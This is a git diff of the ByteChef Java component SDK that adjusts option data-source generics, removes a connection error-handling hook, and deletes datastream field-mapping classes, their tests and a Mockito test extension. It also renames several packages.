@@ -2461,7 +2416,7 @@ void setOptions(List<ModifiableOption<Long>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -2697,7 +2652,7 @@ void setOptions(List<ModifiableOption<Double>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -2871,7 +2826,7 @@ void setOptions(List<ModifiableOption<Object>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -3301,7 +3256,7 @@ void setOptions(List<ModifiableOption<String>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -3418,7 +3373,7 @@ void setOptions(List<ModifiableOption<LocalTime>> options) {
         }
 
         @Override
-        public Optional<OptionsDataSource<?>> getOptionsDataSource() {
+        public Optional<OptionsDataSource> getOptionsDataSource() {
             return Optional.ofNullable(
                 optionsFunction == null
                     ? null
@@ -3982,14 +3937,17 @@ private static class PropertiesDataSourceImpl
         private final BasePropertiesFunction propertiesFunction;
 
         @SuppressFBWarnings("CT_CONSTRUCTOR_THROW")
-        private PropertiesDataSourceImpl(
-            List<String> loadPropertiesDependOn, BasePropertiesFunction propertiesFunction) {
+        private PropertiesDataSourceImpl(List<String> loadPropertiesDependOn,
+            BasePropertiesFunction propertiesFunction) {
+            if (loadPropertiesDependOn == null || loadPropertiesDependOn.isEmpty()) {
+                throw new IllegalArgumentException("propertiesLookupDependsOn is not defined.");
+            }
 
             if (propertiesFunction == null) {
                 throw new IllegalArgumentException("propertiesFunction is not defined.");
             }
 
-            this.propertiesLookupDependsOn = loadPropertiesDependOn == null ? List.of() : loadPropertiesDependOn;
+            this.propertiesLookupDependsOn = loadPropertiesDependOn;
             this.propertiesFunction = propertiesFunction;
         }
 
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ConnectionDefinition.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ConnectionDefinition.java
index 5d0be0addeb..630e27b18e0 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ConnectionDefinition.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/ConnectionDefinition.java
@@ -16,7 +16,6 @@
 
 package com.bytechef.component.definition;
 
-import com.bytechef.component.exception.ProviderException;
 import java.util.List;
 import java.util.Optional;
 
@@ -50,17 +49,6 @@ public interface ConnectionDefinition {
      */
     Optional<BaseUriFunction> getBaseUri();
 
-    Optional<Help> getHelp();
-
-    /**
-     * Returns the optional function used to process HTTP error responses and map them to {@link ProviderException}
-     * instances. This hook is invoked when an HTTP response returns an error status code, allowing components to
-     * provide custom error handling logic specific to their API.
-     *
-     * @return an {@link Optional} containing the {@link ProcessErrorResponseFunction} if defined, or empty otherwise
-     */
-    Optional<ProcessErrorResponseFunction> getProcessErrorResponse();
-
     /**
      *
      * @return
@@ -106,25 +94,4 @@ interface TestConsumer {
          */
         void accept(Parameters connectionParameters, Context context);
     }
-
-    /**
-     * A functional interface for processing HTTP error responses and mapping them to {@link ProviderException}
-     * instances. Implementations can extract error details from the response body and status code to create meaningful
-     * exception messages.
-     */
-    @FunctionalInterface
-    interface ProcessErrorResponseFunction {
-
-        /**
-         * Maps a failed HTTP response to a {@link ProviderException}.
-         *
-         * @param statusCode the HTTP status code of the error response
-         * @param body       the response body associated with the error
-         * @param context    the invocation context for the current call
-         * @return a {@link ProviderException} (or subclass) representing the mapped remote error
-         * @throws Exception if the error response cannot be mapped to a {@link ProviderException}
-         */
-        ProviderException apply(int statusCode, Object body, Context context) throws Exception;
-
-    }
 }
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/DynamicOptionsProperty.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/DynamicOptionsProperty.java
index 273aa238dac..e99371670a6 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/DynamicOptionsProperty.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/DynamicOptionsProperty.java
@@ -27,5 +27,5 @@ public interface DynamicOptionsProperty<T> extends OptionsProperty<T> {
      *
      * @return
      */
-    Optional<OptionsDataSource<?>> getOptionsDataSource();
+    Optional<OptionsDataSource> getOptionsDataSource();
 }
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/Property.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/Property.java
index 81cf5db6c9b..2afad2a42e1 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/Property.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/Property.java
@@ -40,7 +40,6 @@ enum ControlType implements BaseControlType {
         DATE_TIME,
         EMAIL,
         FILE_ENTRY,
-        FORMULA_MODE,
         INTEGER,
         JSON_SCHEMA_BUILDER,
         MULTI_SELECT,
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldDefinition.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldDefinition.java
deleted file mode 100644
index 2addca40810..00000000000
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldDefinition.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-/**
- * Describes a single column/field exposed by a SOURCE or DESTINATION component.
- *
- * @param name  Column identifier (e.g., "firstName")
- * @param label Display label (e.g., "First Name")
- * @param type  Java type (String.class, Integer.class, etc.)
- * @author Ivica Cardic
- */
-public record FieldDefinition(String name, String label, Class<?> type) {
-
-    public FieldDefinition(String name, String label) {
-        this(name, label, String.class);
-    }
-
-    public FieldDefinition(String name) {
-        this(name, name, String.class);
-    }
-}
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldMapping.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldMapping.java
deleted file mode 100644
index 573916f04c0..00000000000
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldMapping.java
+++ /dev/null
@@ -1,34 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-import org.jspecify.annotations.Nullable;
-
-/**
- * Configuration for mapping a source field to a destination field.
- *
- * @param sourceField      Name from source ColumnsProvider
- * @param destinationField Name from destination ColumnsProvider
- * @param defaultValue     Optional default when source field is missing (null uses null)
- * @author Ivica Cardic
- */
-public record FieldMapping(String sourceField, String destinationField, @Nullable Object defaultValue) {
-
-    public FieldMapping(String sourceField, String destinationField) {
-        this(sourceField, destinationField, null);
-    }
-}
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldsProvider.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldsProvider.java
deleted file mode 100644
index ccf697795cb..00000000000
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/FieldsProvider.java
+++ /dev/null
@@ -1,44 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Parameters;
-import java.util.List;
-
-/**
- * Interface for SOURCE and DESTINATION implementations to expose their columns/schema. Implementations decide how to
- * discover columns (static or dynamic).
- *
- * @author Ivica Cardic
- */
-public interface FieldsProvider {
-
-    /**
-     * Returns the columns/schema this component exposes.
-     *
-     * @param inputParameters      The configured parameters for this element
-     * @param connectionParameters Connection credentials if applicable
-     * @param context              The cluster element context
-     * @return List of column definitions
-     */
-    default List<FieldDefinition> getFields(
-        Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context) {
-
-        return List.of();
-    }
-}
diff --git a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ItemProcessor.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemProcessor.java
similarity index 90%
rename from server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ItemProcessor.java
rename to sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemProcessor.java
index 37d4fd29480..2dae8b42187 100644
--- a/server/libs/platform/platform-component/platform-component-api/src/main/java/com/bytechef/platform/component/definition/datastream/ItemProcessor.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemProcessor.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.bytechef.platform.component.definition.datastream;
+package com.bytechef.component.definition.datastream;
 
 import com.bytechef.component.definition.ClusterElementContext;
 import com.bytechef.component.definition.ClusterElementDefinition.ClusterElementType;
@@ -24,7 +24,7 @@
 /**
  * @author Ivica Cardic
  */
-public interface ItemProcessor<I, O> {
+public interface ItemProcessor<I, O> extends ItemStream {
 
     ClusterElementType PROCESSOR = new ClusterElementType("PROCESSOR", "processor", "Processor");
 
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemReader.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemReader.java
index 38263ba22fc..6bb49eb86a2 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemReader.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemReader.java
@@ -22,7 +22,7 @@
 /**
  * @author Ivica Cardic
  */
-public interface ItemReader extends ItemStream, FieldsProvider {
+public interface ItemReader extends ItemStream {
 
     ClusterElementType SOURCE = new ClusterElementType("SOURCE", "source", "Source");
 
diff --git a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemWriter.java b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemWriter.java
index 91a1f4a627f..e49d0069efb 100644
--- a/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemWriter.java
+++ b/sdks/backend/java/component-api/src/main/java/com/bytechef/component/definition/datastream/ItemWriter.java
@@ -23,7 +23,7 @@
 /**
  * @author Ivica Cardic
  */
-public interface ItemWriter extends ItemStream, FieldsProvider {
+public interface ItemWriter extends ItemStream {
 
     ClusterElementType DESTINATION = new ClusterElementType("DESTINATION", "destination", "Destination");
 
diff --git a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldDefinitionTest.java b/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldDefinitionTest.java
deleted file mode 100644
index d9783e2cab6..00000000000
--- a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldDefinitionTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotEquals;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class FieldDefinitionTest {
-
-    @Test
-    void testCanonicalConstructor() {
-        FieldDefinition fieldDefinition = new FieldDefinition("firstName", "First Name", Integer.class);
-
-        assertEquals("firstName", fieldDefinition.name());
-        assertEquals("First Name", fieldDefinition.label());
-        assertEquals(Integer.class, fieldDefinition.type());
-    }
-
-    @Test
-    void testCompactConstructorWithNameAndLabel() {
-        FieldDefinition fieldDefinition = new FieldDefinition("firstName", "First Name");
-
-        assertEquals("firstName", fieldDefinition.name());
-        assertEquals("First Name", fieldDefinition.label());
-        assertEquals(String.class, fieldDefinition.type());
-    }
-
-    @Test
-    void testCompactConstructorWithNameOnly() {
-        FieldDefinition fieldDefinition = new FieldDefinition("firstName");
-
-        assertEquals("firstName", fieldDefinition.name());
-        assertEquals("firstName", fieldDefinition.label());
-        assertEquals(String.class, fieldDefinition.type());
-    }
-
-    @Test
-    void testEquality() {
-        FieldDefinition fieldDefinition1 = new FieldDefinition("name", "label", String.class);
-        FieldDefinition fieldDefinition2 = new FieldDefinition("name", "label", String.class);
-        FieldDefinition fieldDefinition3 = new FieldDefinition("name", "label", Integer.class);
-
-        assertEquals(fieldDefinition1, fieldDefinition2);
-        assertEquals(fieldDefinition1.hashCode(), fieldDefinition2.hashCode());
-        assertNotEquals(fieldDefinition1, fieldDefinition3);
-    }
-
-    @Test
-    void testToString() {
-        FieldDefinition fieldDefinition = new FieldDefinition("name", "label", String.class);
-
-        String expected = "FieldDefinition[name=name, label=label, type=class java.lang.String]";
-
-        assertEquals(expected, fieldDefinition.toString());
-    }
-}
diff --git a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldMappingTest.java b/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldMappingTest.java
deleted file mode 100644
index e881e0b9b7c..00000000000
--- a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldMappingTest.java
+++ /dev/null
@@ -1,91 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotEquals;
-import static org.junit.jupiter.api.Assertions.assertNull;
-
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class FieldMappingTest {
-
-    @Test
-    void testCanonicalConstructor() {
-        FieldMapping fieldMapping = new FieldMapping("sourceField", "destinationField", "defaultValue");
-
-        assertEquals("sourceField", fieldMapping.sourceField());
-        assertEquals("destinationField", fieldMapping.destinationField());
-        assertEquals("defaultValue", fieldMapping.defaultValue());
-    }
-
-    @Test
-    void testCanonicalConstructorWithNullDefaultValue() {
-        FieldMapping fieldMapping = new FieldMapping("sourceField", "destinationField", null);
-
-        assertEquals("sourceField", fieldMapping.sourceField());
-        assertEquals("destinationField", fieldMapping.destinationField());
-        assertNull(fieldMapping.defaultValue());
-    }
-
-    @Test
-    void testCompactConstructor() {
-        FieldMapping fieldMapping = new FieldMapping("sourceField", "destinationField");
-
-        assertEquals("sourceField", fieldMapping.sourceField());
-        assertEquals("destinationField", fieldMapping.destinationField());
-        assertNull(fieldMapping.defaultValue());
-    }
-
-    @Test
-    void testDefaultValueWithDifferentTypes() {
-        FieldMapping fieldMappingWithInt = new FieldMapping("source", "dest", 42);
-
-        assertEquals(42, fieldMappingWithInt.defaultValue());
-
-        FieldMapping fieldMappingWithDouble = new FieldMapping("source", "dest", 2.5);
-
-        assertEquals(2.5, fieldMappingWithDouble.defaultValue());
-
-        FieldMapping fieldMappingWithBoolean = new FieldMapping("source", "dest", true);
-
-        assertEquals(true, fieldMappingWithBoolean.defaultValue());
-    }
-
-    @Test
-    void testEquality() {
-        FieldMapping fieldMapping1 = new FieldMapping("source", "dest", "default");
-        FieldMapping fieldMapping2 = new FieldMapping("source", "dest", "default");
-        FieldMapping fieldMapping3 = new FieldMapping("source", "dest", "other");
-
-        assertEquals(fieldMapping1, fieldMapping2);
-        assertEquals(fieldMapping1.hashCode(), fieldMapping2.hashCode());
-        assertNotEquals(fieldMapping1, fieldMapping3);
-    }
-
-    @Test
-    void testToString() {
-        FieldMapping fieldMapping = new FieldMapping("source", "dest", "default");
-
-        String expected = "FieldMapping[sourceField=source, destinationField=dest, defaultValue=default]";
-
-        assertEquals(expected, fieldMapping.toString());
-    }
-}
diff --git a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldsProviderTest.java b/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldsProviderTest.java
deleted file mode 100644
index e1d23197b86..00000000000
--- a/sdks/backend/java/component-api/src/test/java/com/bytechef/component/definition/datastream/FieldsProviderTest.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.definition.datastream;
-
-import static org.junit.jupiter.api.Assertions.assertEquals;
-import static org.junit.jupiter.api.Assertions.assertNotNull;
-import static org.junit.jupiter.api.Assertions.assertTrue;
-import static org.mockito.Mockito.mock;
-
-import com.bytechef.component.definition.ClusterElementContext;
-import com.bytechef.component.definition.Parameters;
-import java.util.List;
-import org.junit.jupiter.api.Test;
-
-/**
- * @author Ivica Cardic
- */
-class FieldsProviderTest {
-
-    @Test
-    void testDefaultGetFieldsReturnsEmptyList() {
-        FieldsProvider fieldsProvider = new FieldsProvider() {};
-
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        List<FieldDefinition> fields = fieldsProvider.getFields(inputParameters, connectionParameters, context);
-
-        assertNotNull(fields);
-        assertTrue(fields.isEmpty());
-    }
-
-    @Test
-    void testCustomImplementation() {
-        FieldsProvider fieldsProvider = new FieldsProvider() {
-
-            @Override
-            public List<FieldDefinition> getFields(
-                Parameters inputParameters, Parameters connectionParameters, ClusterElementContext context) {
-
-                return List.of(
-                    new FieldDefinition("id", "ID", Long.class),
-                    new FieldDefinition("name", "Name", String.class),
-                    new FieldDefinition("age", "Age", Integer.class));
-            }
-        };
-
-        Parameters inputParameters = mock(Parameters.class);
-        Parameters connectionParameters = mock(Parameters.class);
-        ClusterElementContext context = mock(ClusterElementContext.class);
-
-        List<FieldDefinition> fields = fieldsProvider.getFields(inputParameters, connectionParameters, context);
-
-        assertEquals(3, fields.size());
-        assertEquals("id", fields.get(0)
-            .name());
-        assertEquals(Long.class, fields.get(0)
-            .type());
-        assertEquals("name", fields.get(1)
-            .name());
-        assertEquals(String.class, fields.get(1)
-            .type());
-        assertEquals("age", fields.get(2)
-            .name());
-        assertEquals(Integer.class, fields.get(2)
-            .type());
-    }
-
-    @Test
-    void testGetFieldsWithNullParameters() {
-        FieldsProvider fieldsProvider = new FieldsProvider() {};
-
-        List<FieldDefinition> fields = fieldsProvider.getFields(null, null, null);
-
-        assertNotNull(fields);
-        assertTrue(fields.isEmpty());
-    }
-}
diff --git a/sdks/backend/java/component-test/build.gradle.kts b/sdks/backend/java/component-test/build.gradle.kts
index 2875c7324dc..31919ddb251 100644
--- a/sdks/backend/java/component-test/build.gradle.kts
+++ b/sdks/backend/java/component-test/build.gradle.kts
@@ -1,8 +1,6 @@
 dependencies {
     api(project(":sdks:backend:java:component-api"))
 
-    implementation("org.junit.jupiter:junit-jupiter")
-    implementation("org.mockito:mockito-core:5.20.0")
     implementation("org.apache.commons:commons-lang3")
     implementation("org.springframework.boot:spring-boot")
     implementation("org.springframework.boot:spring-boot-jackson")
diff --git a/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/MockParametersImpl.java b/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/MockParametersImpl.java
index ad328cb5142..15253a6e1af 100644
--- a/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/MockParametersImpl.java
+++ b/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/MockParametersImpl.java
@@ -164,14 +164,12 @@ public FileEntry getFileEntry(String key) {
 
     @Override
     public List<FileEntry> getFileEntries(String key) {
-        return (List<FileEntry>) this.get(key);
+        return getList(key, FileEntry.class);
     }
 
     @Override
     public List<FileEntry> getFileEntries(String key, List<FileEntry> defaultValue) {
-        List<FileEntry> fileEntries = (List<FileEntry>) this.get(key);
-
-        return fileEntries == null ? defaultValue : fileEntries;
+        return getList(key, FileEntry.class, defaultValue);
     }
 
     @Override
@@ -242,10 +240,6 @@ public List<?> getList(String key, List<?> defaultValue) {
 
     @Override
     public <T> List<T> getList(String key, Class<T> elementType) {
-        if (elementType.equals(FileEntry.class)) {
-            return (List<T>) getFileEntries(key);
-        }
-
         return MapUtils.getList(map, key, elementType);
     }
 
@@ -263,10 +257,6 @@ public Type getType() {
 
     @Override
     public <T> List<T> getList(String key, Class<T> elementType, List<T> defaultValue) {
-        if (elementType.equals(FileEntry.class)) {
-            return (List<T>) getFileEntries(key);
-        }
-
         return MapUtils.getList(map, key, elementType, defaultValue);
     }
 
@@ -473,10 +463,6 @@ public List<?> getRequiredList(String key) {
 
     @Override
     public <T> List<T> getRequiredList(String key, Class<T> elementType) {
-        if (elementType.equals(FileEntry.class)) {
-            return (List<T>) getFileEntries(key);
-        }
-
         return MapUtils.getRequiredList(map, key, elementType);
     }
 
diff --git a/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/extension/MockContextSetupExtension.java b/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/extension/MockContextSetupExtension.java
deleted file mode 100644
index a63738c7a68..00000000000
--- a/sdks/backend/java/component-test/src/main/java/com/bytechef/component/test/definition/extension/MockContextSetupExtension.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.test.definition.extension;
-
-import static org.mockito.ArgumentCaptor.forClass;
-import static org.mockito.Mockito.mock;
-import static org.mockito.Mockito.when;
-
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Context.ContextFunction;
-import com.bytechef.component.definition.Context.Http;
-import com.bytechef.component.definition.Context.Http.Configuration.ConfigurationBuilder;
-import com.bytechef.component.definition.Context.Http.Executor;
-import com.bytechef.component.definition.Context.Http.Response;
-import java.lang.reflect.Parameter;
-import java.lang.reflect.ParameterizedType;
-import java.lang.reflect.Type;
-import org.jspecify.annotations.Nullable;
-import org.junit.jupiter.api.extension.BeforeEachCallback;
-import org.junit.jupiter.api.extension.ExtensionContext;
-import org.junit.jupiter.api.extension.ExtensionContext.Namespace;
-import org.junit.jupiter.api.extension.ExtensionContext.Store;
-import org.junit.jupiter.api.extension.ParameterContext;
-import org.junit.jupiter.api.extension.ParameterResolutionException;
-import org.junit.jupiter.api.extension.ParameterResolver;
-import org.mockito.ArgumentCaptor;
-
-/**
- * @author Nikolina Spehar
- */
-public class MockContextSetupExtension implements BeforeEachCallback, ParameterResolver {
-
-    @Override
-    public void beforeEach(ExtensionContext extensionContext) throws Exception {
-        ArgumentCaptor<ConfigurationBuilder> configurationBuilderArgumentCaptor = forClass(ConfigurationBuilder.class);
-        Context mockedContext = mock(Context.class);
-        Http.Executor mockedExecutor = mock(Http.Executor.class);
-        Http.Response mockedResponse = mock(Http.Response.class);
-        @SuppressWarnings("unchecked")
-        ArgumentCaptor<ContextFunction<Http, Executor>> httpFunctionArgumentCaptor = forClass(ContextFunction.class);
-        Http mockedHttp = mock(Http.class);
-
-        when(mockedContext.http(httpFunctionArgumentCaptor.capture()))
-            .thenAnswer(inv -> {
-                ContextFunction<Http, Http.Executor> value = httpFunctionArgumentCaptor.getValue();
-
-                return value.apply(mockedHttp);
-            });
-        when(mockedExecutor.configuration(configurationBuilderArgumentCaptor.capture()))
-            .thenReturn(mockedExecutor);
-        when(mockedExecutor.execute())
-            .thenReturn(mockedResponse);
-
-        Store extensionContextStore = extensionContext.getStore(Namespace.create(MockContextSetupExtension.class));
-
-        extensionContextStore.put(Context.class, mockedContext);
-        extensionContextStore.put(Response.class, mockedResponse);
-        extensionContextStore.put(Executor.class, mockedExecutor);
-        extensionContextStore.put(Http.class, mockedHttp);
-        extensionContextStore.put("httpFunctionArgumentCaptor", httpFunctionArgumentCaptor);
-        extensionContextStore.put("configurationBuilderArgumentCaptor", configurationBuilderArgumentCaptor);
-    }
-
-    @Override
-    public boolean supportsParameter(ParameterContext parameterContext, ExtensionContext extensionContext)
-        throws ParameterResolutionException {
-
-        Parameter parameter = parameterContext.getParameter();
-        Type type = parameter.getParameterizedType();
-
-        return parameter.getType() == Context.class ||
-            parameter.getType() == Http.Response.class ||
-            parameter.getType() == Http.Executor.class ||
-            parameter.getType() == Http.class ||
-            (parameter.getType() == ArgumentCaptor.class && type instanceof ParameterizedType pt &&
-                (pt.getActualTypeArguments()[0].equals(ConfigurationBuilder.class) ||
-                    (pt.getActualTypeArguments()[0] instanceof ParameterizedType nestedPt &&
-                        nestedPt.getRawType()
-                            .equals(ContextFunction.class))));
-    }
-
-    @Override
-    public @Nullable Object resolveParameter(ParameterContext parameterContext, ExtensionContext extensionContext)
-        throws ParameterResolutionException {
-
-        Store extensionContextStore = extensionContext.getStore(Namespace.create(MockContextSetupExtension.class));
-
-        Parameter parameter = parameterContext.getParameter();
-        Type type = parameter.getParameterizedType();
-
-        if (parameter.getType() == Context.class) {
-            return extensionContextStore.get(Context.class);
-        }
-
-        if (parameter.getType() == Http.Response.class) {
-            return extensionContextStore.get(Http.Response.class);
-        }
-
-        if (parameter.getType() == Http.Executor.class) {
-            return extensionContextStore.get(Http.Executor.class);
-        }
-
-        if (parameter.getType() == Http.class) {
-            return extensionContextStore.get(Http.class);
-        }
-
-        if (parameter.getType() == ArgumentCaptor.class && type instanceof ParameterizedType pt) {
-            Type actualTypeArgument = pt.getActualTypeArguments()[0];
-
-            if (actualTypeArgument.equals(ConfigurationBuilder.class)) {
-                return extensionContextStore.get("configurationBuilderArgumentCaptor");
-            }
-
-            if (actualTypeArgument instanceof ParameterizedType nestedPt) {
-                Type rawType = nestedPt.getRawType();
-
-                if (rawType.equals(ContextFunction.class)) {
-                    return extensionContextStore.get("httpFunctionArgumentCaptor");
-                }
-            }
-        }
-
-        throw new ParameterResolutionException(
-            "Unsupported parameter type: " + parameter.getType());
-    }
-}
diff --git a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/IntegrationHandler.java b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/IntegrationHandler.java
similarity index 91%
rename from sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/IntegrationHandler.java
rename to sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/IntegrationHandler.java
index 83707496bbf..a396231e1af 100644
--- a/sdks/backend/embedded/integration-api/src/main/java/com/bytechef/embedded/integration/IntegrationHandler.java
+++ b/sdks/backend/java/workflow-api/src/main/java/com/bytechef/workflow/IntegrationHandler.java
@@ -14,9 +14,9 @@
  * limitations under the License.
  */
 
-package com.bytechef.embedded.integration;
+package com.bytechef.workflow;
 
-import com.bytechef.embedded.integration.definition.IntegrationDefinition;
+import com.bytechef.workflow.definition.IntegrationDefinition;
 import com.bytechef.workflow.definition.WorkflowDefinition;
 import java.util.List;
 
